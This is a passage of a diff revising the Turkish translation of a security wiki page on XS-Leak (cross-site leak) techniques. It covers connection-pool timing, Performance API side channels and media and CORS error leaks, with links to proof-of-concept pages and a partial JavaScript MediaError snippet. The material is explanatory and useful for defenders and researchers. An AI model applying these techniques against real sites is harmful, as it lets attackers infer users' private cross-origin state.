- **Detectable Difference**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **More info**:
|
||||
- **Summary:** Önceki teknikle aynı, ancak tüm soketleri kullanmak yerine Google **Chrome** aynı kaynağa **6 eşzamanlı istekle** sınırlama koyar. Eğer **5'ini engellersek** ve sonra **6. bir istek başlatırsak**, bunu **zamanlayabiliriz** ve eğer **kurban sayfası** aynı uç noktaya daha fazla **istek gönderirse**, **6. istek** **daha uzun** sürecektir ve bunu tespit edebiliriz.
|
||||
- **Dahil Etme Yöntemleri**: JavaScript İstekleri
|
||||
- **Tespit Edilebilir Fark**: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
|
||||
- **Daha fazla bilgi**:
|
||||
- **Özet:** Önceki teknikle aynı, ancak tüm soketleri kullanmak yerine, Google **Chrome** aynı kökene **6 eşzamanlı istek** sınırı koyar. Eğer **5'ini engellersek** ve ardından **6. bir istek başlatırsak**, bunu **zamanlayabiliriz** ve eğer **kurban sayfasının** aynı uç noktaya daha fazla **istek göndermesini** sağlarsak, **6. istek** **daha uzun** sürecek ve bunu tespit edebiliriz.
|
||||
|
||||
## Performance API Techniques
|
||||
## Performans API Teknikleri
|
||||
|
||||
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) web uygulamalarının performans metrikleri hakkında içgörüler sunar ve [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) ile daha da zenginleştirilmiştir. Resource Timing API, isteklerin süresi gibi ayrıntılı ağ isteği zamanlamalarını izlemeyi sağlar. Özellikle, sunucular yanıtlarında `Timing-Allow-Origin: *` başlığını içerdiğinde, transfer boyutu ve alan adı arama süresi gibi ek veriler kullanılabilir hale gelir.
|
||||
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance), web uygulamalarının performans metrikleri hakkında içgörüler sunar ve [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) ile daha da zenginleştirilmiştir. Resource Timing API, isteklerin süreleri gibi ayrıntılı ağ isteği zamanlamalarını izlemeyi sağlar. Özellikle, sunucular yanıtlarında `Timing-Allow-Origin: *` başlığını içerdiğinde, transfer boyutu ve alan adı arama süresi gibi ek veriler kullanılabilir hale gelir.
|
||||
|
||||
Bu veri zenginliği, [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) veya [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) gibi yöntemler aracılığıyla elde edilebilir ve performansla ilgili bilgilerin kapsamlı bir görünümünü sağlar. Ayrıca, API, [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) ile elde edilen zaman damgaları arasındaki farkı hesaplayarak yürütme sürelerini ölçmeyi kolaylaştırır. Ancak, Chrome gibi bazı tarayıcılarda `performance.now()`'un hassasiyetinin milisaniyelerle sınırlı olabileceği ve bu durumun zamanlama ölçümlerinin ayrıntılığını etkileyebileceği unutulmamalıdır.
|
||||
Bu veri zenginliği, [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) veya [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) gibi yöntemler aracılığıyla elde edilebilir ve performansla ilgili bilgilerin kapsamlı bir görünümünü sağlar. Ayrıca, API, [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) ile elde edilen zaman damgaları arasındaki farkı hesaplayarak icra sürelerini ölçmeyi kolaylaştırır. Ancak, Chrome gibi bazı tarayıcılarda `performance.now()`'un hassasiyetinin milisaniyelerle sınırlı olabileceği ve bu durumun zamanlama ölçümlerinin ayrıntılığını etkileyebileceği unutulmamalıdır.
|
||||
|
||||
Zamanlama ölçümlerinin ötesinde, Performance API güvenlikle ilgili içgörüler için de kullanılabilir. Örneğin, Chrome'daki `performance` nesnesinde sayfaların varlığı veya yokluğu, `X-Frame-Options` uygulandığını gösterebilir. Özellikle, bir sayfa `X-Frame-Options` nedeniyle bir çerçevede render edilmekten engellenirse, `performance` nesnesinde kaydedilmeyecektir, bu da sayfanın çerçeveleme politikaları hakkında ince bir ipucu sağlar.
|
||||
Zamanlama ölçümlerinin ötesinde, Performans API'si güvenlikle ilgili içgörüler için de kullanılabilir. Örneğin, Chrome'daki `performance` nesnesindeki sayfaların varlığı veya yokluğu, `X-Frame-Options` uygulandığını gösterebilir. Özellikle, `X-Frame-Options` nedeniyle bir sayfanın bir çerçevede render edilmesi engellenirse, bu sayfa `performance` nesnesinde kaydedilmeyecek ve sayfanın çerçeveleme politikaları hakkında ince bir ipucu sağlayacaktır.
|
||||
|
||||
### Error Leak
|
||||
### Hata Sızıntısı
|
||||
|
||||
- **Inclusion Methods**: Frames, HTML Elemanları
|
||||
- **Detectable Difference**: Durum Kodu
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Hatalarla sonuçlanan bir istek, bir kaynak zamanlama girişi oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
||||
- **Dahil Etme Yöntemleri**: Frames, HTML Elemanları
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Özet:** Hatalarla sonuçlanan bir istek, bir kaynak zamanlama girişi oluşturmaz.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
|
||||
|
||||
HTTP yanıt durum kodları arasında **ayrım yapmak mümkündür** çünkü bir **hata** ile sonuçlanan istekler **performans girişi** oluşturmaz.
|
||||
|
||||
### Style Reload Error
|
||||
### Stil Yenileme Hatası
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Detectable Difference**: Durum Kodu
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Bir tarayıcı hatası nedeniyle, hatalarla sonuçlanan istekler iki kez yüklenir.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||||
- **Dahil Etme Yöntemleri**: HTML Elemanları
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Özet:** Bir tarayıcı hatası nedeniyle, hatalarla sonuçlanan istekler iki kez yüklenir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
|
||||
|
||||
Önceki teknikte, yüklenemeyen kaynakların **iki kez yüklendiği** durumları belirten iki tarayıcı hatası tespit edilmiştir. Bu, Performans API'sinde birden fazla girişe yol açar ve bu nedenle tespit edilebilir.
|
||||
Önceki teknikte, GC'deki tarayıcı hatalarının, **yüklenemeyen kaynakların iki kez yüklenmesine** yol açtığı iki durum da tespit edilmiştir. Bu, Performans API'sinde birden fazla girişe yol açar ve bu nedenle tespit edilebilir.
|
||||
|
||||
### Request Merging Error
|
||||
### İstek Birleştirme Hatası
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları
|
||||
- **Detectable Difference**: Durum Kodu
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Hata ile sonuçlanan istekler birleştirilemez.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
- **Dahil Etme Yöntemleri**: HTML Elemanları
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Özet:** Hatalarla sonuçlanan istekler birleştirilemez.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
|
||||
|
||||
Bu teknik, bahsedilen belgede bir tabloda bulunmuştur ancak teknikle ilgili bir açıklama bulunmamıştır. Ancak, [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) adresinde kontrol ederek kaynak kodunu bulabilirsiniz.
|
||||
Bu teknik, bahsedilen belgede bir tabloda bulunmuştur, ancak tekniğin tanımı bulunmamıştır. Ancak, [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak) adresinde kontrol ederek kaynak kodunu bulabilirsiniz.
|
||||
|
||||
### Empty Page Leak
|
||||
### Boş Sayfa Sızıntısı
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Boş yanıtlar kaynak zamanlama girişleri oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
||||
- **Dahil Etme Yöntemleri**: Frames
|
||||
- **Tespit Edilebilir Fark**: Sayfa İçeriği
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Özet:** Boş yanıtlar kaynak zamanlama girişleri oluşturmaz.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
|
||||
|
||||
Bir saldırgan, bir isteğin boş bir HTTP yanıt gövdesi ile sonuçlanıp sonuçlanmadığını tespit edebilir çünkü **boş sayfalar bazı tarayıcılarda performans girişi oluşturmaz**.
|
||||
|
||||
### **XSS-Auditor Leak**
|
||||
### **XSS-Auditor Sızıntısı**
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Güvenlik İddialarında XSS Auditor kullanarak, saldırganlar, oluşturulan yüklerin denetleyicinin filtreleme mekanizmasını tetiklemesi durumunda yanıtların değişimlerini gözlemleyerek belirli web sayfası öğelerini tespit edebilir.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
- **Dahil Etme Yöntemleri**: Frames
|
||||
- **Tespit Edilebilir Fark**: Sayfa İçeriği
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Özet:** Güvenlik İddialarında XSS Auditor kullanarak, saldırganlar, oluşturulan yüklerin denetleyicinin filtreleme mekanizmasını tetiklemesi durumunda yanıtların değişimini gözlemleyerek belirli web sayfası öğelerini tespit edebilir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
|
||||
|
||||
Güvenlik İddialarında (SA), başlangıçta Cross-Site Scripting (XSS) saldırılarını önlemek için tasarlanmış olan XSS Auditor, paradoksal olarak hassas bilgileri sızdırmak için istismar edilebilir. Bu yerleşik özellik Google Chrome'dan (GC) kaldırılmış olsa da, SA'da hala mevcuttur. 2013 yılında Braun ve Heiderich, XSS Auditor'un yanlışlıkla meşru betikleri engelleyebileceğini ve yanlış pozitiflere yol açabileceğini göstermiştir. Bunun üzerine, araştırmacılar, bilgileri çıkarmak ve çapraz kaynak sayfalarında belirli içerikleri tespit etmek için teknikler geliştirmiştir; bu kavram XS-Sızıntılar olarak bilinir ve ilk olarak Terada tarafından rapor edilmiş, Heyes tarafından bir blog yazısında detaylandırılmıştır. Bu teknikler, GC'deki XSS Auditor'a özgü olmasına rağmen, SA'da XSS Auditor tarafından engellenen sayfaların Performans API'sinde giriş oluşturmadığı keşfedilmiştir; bu da hassas bilgilerin hala sızdırılabileceği bir yöntem sunar.
|
||||
Güvenlik İddialarında (SA), Cross-Site Scripting (XSS) saldırılarını önlemek için tasarlanmış olan XSS Auditor, paradoksal olarak hassas bilgileri sızdırmak için istismar edilebilir. Bu yerleşik özellik Google Chrome'dan (GC) kaldırılmış olsa da, SA'da hala mevcuttur. 2013 yılında Braun ve Heiderich, XSS Auditor'un yanlış pozitiflere yol açarak meşru betikleri yanlışlıkla engelleyebileceğini göstermiştir. Bunun üzerine, araştırmacılar, bilgileri çıkarmak ve çapraz kaynaklı sayfalardaki belirli içerikleri tespit etmek için teknikler geliştirmiştir; bu kavram XS-Sızıntılar olarak bilinir ve ilk olarak Terada tarafından rapor edilmiş, Heyes tarafından bir blog yazısında detaylandırılmıştır. Bu teknikler, GC'deki XSS Auditor'a özgü olmasına rağmen, SA'da XSS Auditor tarafından engellenen sayfaların Performans API'sinde giriş oluşturmadığı keşfedilmiştir; bu da hassas bilgilerin hala sızdırılabileceği bir yöntem sunmaktadır.
|
||||
|
||||
### X-Frame Leak
|
||||
### X-Frame Sızıntısı
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Başlık
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
|
||||
- **Summary:** X-Frame-Options başlığına sahip kaynak, kaynak zamanlama girişi oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||||
- **Dahil Etme Yöntemleri**: Frames
|
||||
- **Tespit Edilebilir Fark**: Başlık
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
|
||||
- **Özet:** X-Frame-Options başlığına sahip kaynak, kaynak zamanlama girişi oluşturmaz.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
|
||||
|
||||
Eğer bir sayfanın **iframe** içinde **render edilmesine izin verilmezse**, bu **performans girişi** oluşturmaz. Sonuç olarak, bir saldırgan **`X-Frame-Options`** yanıt başlığını tespit edebilir.\
|
||||
Aynı şey **embed** **etiketi** kullanıldığında da geçerlidir.
|
||||
Eğer bir sayfanın **bir iframe içinde** **render edilmesine izin verilmezse**, bu **performans girişi** oluşturmaz. Sonuç olarak, bir saldırgan **`X-Frame-Options`** yanıt başlığını tespit edebilir.\
|
||||
Aynı şey bir **embed** **etiketi** kullanıldığında da geçerlidir.
|
||||
|
||||
### Download Detection
|
||||
### İndirme Tespiti
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Başlık
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** İndirmeler, Performans API'sinde kaynak zamanlama girişleri oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
- **Dahil Etme Yöntemleri**: Frames
|
||||
- **Tespit Edilebilir Fark**: Başlık
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Özet:** İndirmeler, Performans API'sinde kaynak zamanlama girişleri oluşturmaz.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
|
||||
|
||||
Aynı şekilde, **ContentDisposition** başlığı nedeniyle **indirilmiş bir kaynak** da **performans girişi** oluşturmaz. Bu teknik, tüm büyük tarayıcılarda çalışır.
|
||||
Aynı şekilde, içerik dağıtım başlığı nedeniyle **indirilmiş bir kaynak**, **performans girişi** oluşturmaz. Bu teknik, tüm büyük tarayıcılarda çalışır.
|
||||
|
||||
### Redirect Start Leak
|
||||
### Yönlendirme Başlangıç Sızıntısı
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Yönlendirme
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Kaynak zamanlama girişi, bir yönlendirmenin başlangıç zamanını sızdırır.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
- **Dahil Etme Yöntemleri**: Frames
|
||||
- **Tespit Edilebilir Fark**: Yönlendirme
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Özet:** Kaynak zamanlama girişi, bir yönlendirmenin başlangıç zamanını sızdırır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
|
||||
|
||||
Bazı tarayıcıların çapraz kaynak istekleri için çok fazla bilgi kaydettiği bir XS-Sızıntı durumu bulduk. Standart, çapraz kaynaklı kaynaklar için sıfıra ayarlanması gereken bir dizi özelliği tanımlar. Ancak, **SA**'da, hedef sayfanın kullanıcıyı **yönlendirdiğini** tespit etmek mümkündür; Performans API'sini sorgulayarak ve **redirectStart zamanlama verisini** kontrol ederek.
|
||||
Bazı tarayıcıların, çapraz kaynaklı istekler için fazla bilgi kaydetme davranışını istismar eden bir XS-Sızıntı örneği bulduk. Standart, çapraz kaynaklı kaynaklar için sıfıra ayarlanması gereken bir dizi özellik tanımlar. Ancak, **SA**'da, kullanıcıyı hedef sayfa tarafından **yönlendirildiğini** tespit etmek mümkündür; Performans API'sini sorgulayarak ve **redirectStart zamanlama verilerini** kontrol ederek.
|
||||
|
||||
### Duration Redirect Leak
|
||||
### Süre Yönlendirme Sızıntısı
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Yönlendirme
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** Yönlendirme gerçekleştiğinde zamanlama girişlerinin süresi negatiftir.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
||||
- **Dahil Etme Yöntemleri**: Fetch API
|
||||
- **Tespit Edilebilir Fark**: Yönlendirme
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Özet:** Yönlendirme gerçekleştiğinde zamanlama girişlerinin süresi negatiftir.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
|
||||
|
||||
GC'de, **yönlendirme** ile sonuçlanan isteklerin **süresi** **negatif** olup, bu nedenle **yönlendirme** ile sonuçlanmayan isteklerden **ayrılabilir**.
|
||||
|
||||
### CORP Leak
|
||||
### CORP Sızıntısı
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Başlık
|
||||
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Summary:** CORP ile korunan kaynaklar, kaynak zamanlama girişleri oluşturmaz.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||||
- **Dahil Etme Yöntemleri**: Frames
|
||||
- **Tespit Edilebilir Fark**: Başlık
|
||||
- **Daha fazla bilgi**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
|
||||
- **Özet:** CORP ile korunan kaynaklar, kaynak zamanlama girişleri oluşturmaz.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||||
|
||||
Bazı durumlarda, **nextHopProtocol girişi** bir sızıntı tekniği olarak kullanılabilir. GC'de, **CORP başlığı** ayarlandığında, nextHopProtocol **boş** olacaktır. Not edin ki, SA, CORP etkin kaynaklar için hiç performans girişi oluşturmayacaktır.
|
||||
|
||||
### Service Worker
|
||||
### Servis Çalışanı
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: API Kullanımı
|
||||
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
||||
- **Summary:** Belirli bir kaynak için bir hizmet çalıştırıcısının kaydedilip kaydedilmediğini tespit edin.
|
||||
- **Code Example**:
|
||||
- **Dahil Etme Yöntemleri**: Frames
|
||||
- **Tespit Edilebilir Fark**: API Kullanımı
|
||||
- **Daha fazla bilgi**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
||||
- **Özet:** Belirli bir köken için bir servis çalışanın kaydedilip kaydedilmediğini tespit edin.
|
||||
- **Kod Örneği**:
|
||||
|
||||
Hizmet çalıştırıcıları, bir kaynakta çalışan olay odaklı betik bağlamlarıdır. Bir web sayfasının arka planında çalışır ve kaynakları **yakalamak**, **değiştirmek** ve **önbelleğe almak** için kullanılabilir, böylece çevrimdışı web uygulamaları oluşturur.\
|
||||
Eğer bir **hizmet çalıştırıcısı** tarafından **önbelleğe alınmış** bir kaynak **iframe** aracılığıyla erişilirse, kaynak **hizmet çalıştırıcı önbelleğinden** **yüklenir**.\
|
||||
Kaynağın **hizmet çalıştırıcı** önbelleğinden **yüklenip yüklenmediğini** tespit etmek için **Performans API'si** kullanılabilir.\
|
||||
Servis çalışanları, bir kökende çalışan olay odaklı betik bağlamlarıdır. Bir web sayfasının arka planında çalışır ve kaynakları **yakalamak**, **değiştirmek** ve **önbelleğe almak** için kullanılabilir, böylece çevrimdışı web uygulamaları oluşturur.\
|
||||
Eğer bir **servis çalışanı** tarafından **önbelleğe alınmış** bir kaynak **iframe** aracılığıyla erişilirse, kaynak **servis çalışanı önbelleğinden** **yüklenir**.\
|
||||
Kaynağın **servis çalışanı** önbelleğinden **yüklenip yüklenmediğini** tespit etmek için **Performans API'si** kullanılabilir.\
|
||||
Bu, bir Zamanlama saldırısı ile de yapılabilir (daha fazla bilgi için belgeyi kontrol edin).
|
||||
|
||||
### Cache
|
||||
### Önbellek
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Zamanlama
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
||||
- **Summary:** Bir kaynağın önbelleğe alınıp alınmadığını kontrol etmek mümkündür.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
|
||||
- **Dahil Etme Yöntemleri**: Fetch API
|
||||
- **Tespit Edilebilir Fark**: Zamanlama
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources)
|
||||
- **Özet:** Bir kaynağın önbelleğe alınıp alınmadığını kontrol etmek mümkündür.
|
||||
- **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
|
||||
|
||||
[Performance API](#performance-api) kullanarak bir kaynağın önbelleğe alınıp alınmadığını kontrol etmek mümkündür.
|
||||
[Performans API'si](#performance-api) kullanarak bir kaynağın önbelleğe alınıp alınmadığını kontrol etmek mümkündür.
|
||||
|
||||
### Network Duration
|
||||
### Ağ Süresi
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Sayfa İçeriği
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||||
- **Summary:** `performance` API'sinden bir isteğin ağ süresini almak mümkündür.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||||
- **Dahil Etme Yöntemleri**: Fetch API
|
||||
- **Tespit Edilebilir Fark**: Sayfa İçeriği
|
||||
- **Daha fazla bilgi**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||||
- **Özet:** `performans` API'sinden bir isteğin ağ süresini almak mümkündür.
|
||||
- **Kod Örneği**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||||
|
||||
## Error Messages Technique
|
||||
## Hata Mesajları Tekniği
|
||||
|
||||
### Media Error
|
||||
### Medya Hatası
|
||||
|
||||
- **Inclusion Methods**: HTML Elemanları (Video, Ses)
|
||||
- **Detectable Difference**: Durum Kodu
|
||||
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
||||
- **Summary:** Firefox'ta, çapraz kaynak isteğinin durum kodunu doğru bir şekilde sızdırmak mümkündür.
|
||||
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
||||
- **Dahil Etme Yöntemleri**: HTML Elemanları (Video, Ses)
|
||||
- **Tespit Edilebilir Fark**: Durum Kodu
|
||||
- **Daha fazla bilgi**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
||||
- **Özet:** Firefox'ta, çapraz kaynaklı bir isteğin durum kodunu doğru bir şekilde sızdırmak mümkündür.
|
||||
- **Kod Örneği**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
||||
```javascript
|
||||
// Code saved here in case it dissapear from the link
|
||||
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
|
||||
@ -470,7 +470,7 @@ err.message +
|
||||
audioElement.onerror = errHandler
|
||||
}
|
||||
```
|
||||
`MediaError` arayüzünün message özelliği, başarılı bir şekilde yüklenen kaynakları benzersiz bir dizi ile tanımlar. Bir saldırgan, bu özelliği kullanarak mesaj içeriğini gözlemleyebilir ve böylece bir cross-origin kaynağının yanıt durumunu çıkarabilir.
|
||||
`MediaError` arayüzünün message özelliği, başarılı bir şekilde yüklenen kaynakları benzersiz bir dize ile tanımlar. Bir saldırgan, bu özelliği kullanarak mesaj içeriğini gözlemleyebilir ve böylece bir çapraz kaynak kaynağının yanıt durumunu çıkarabilir.
|
||||
|
||||
### CORS Hatası
|
||||
|
||||
@ -480,7 +480,7 @@ audioElement.onerror = errHandler
|
||||
- **Özet:** Güvenlik İddialarında (SA), CORS hata mesajları, yönlendirilmiş isteklerin tam URL'sini istemeden açığa çıkarır.
|
||||
- **Kod Örneği**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
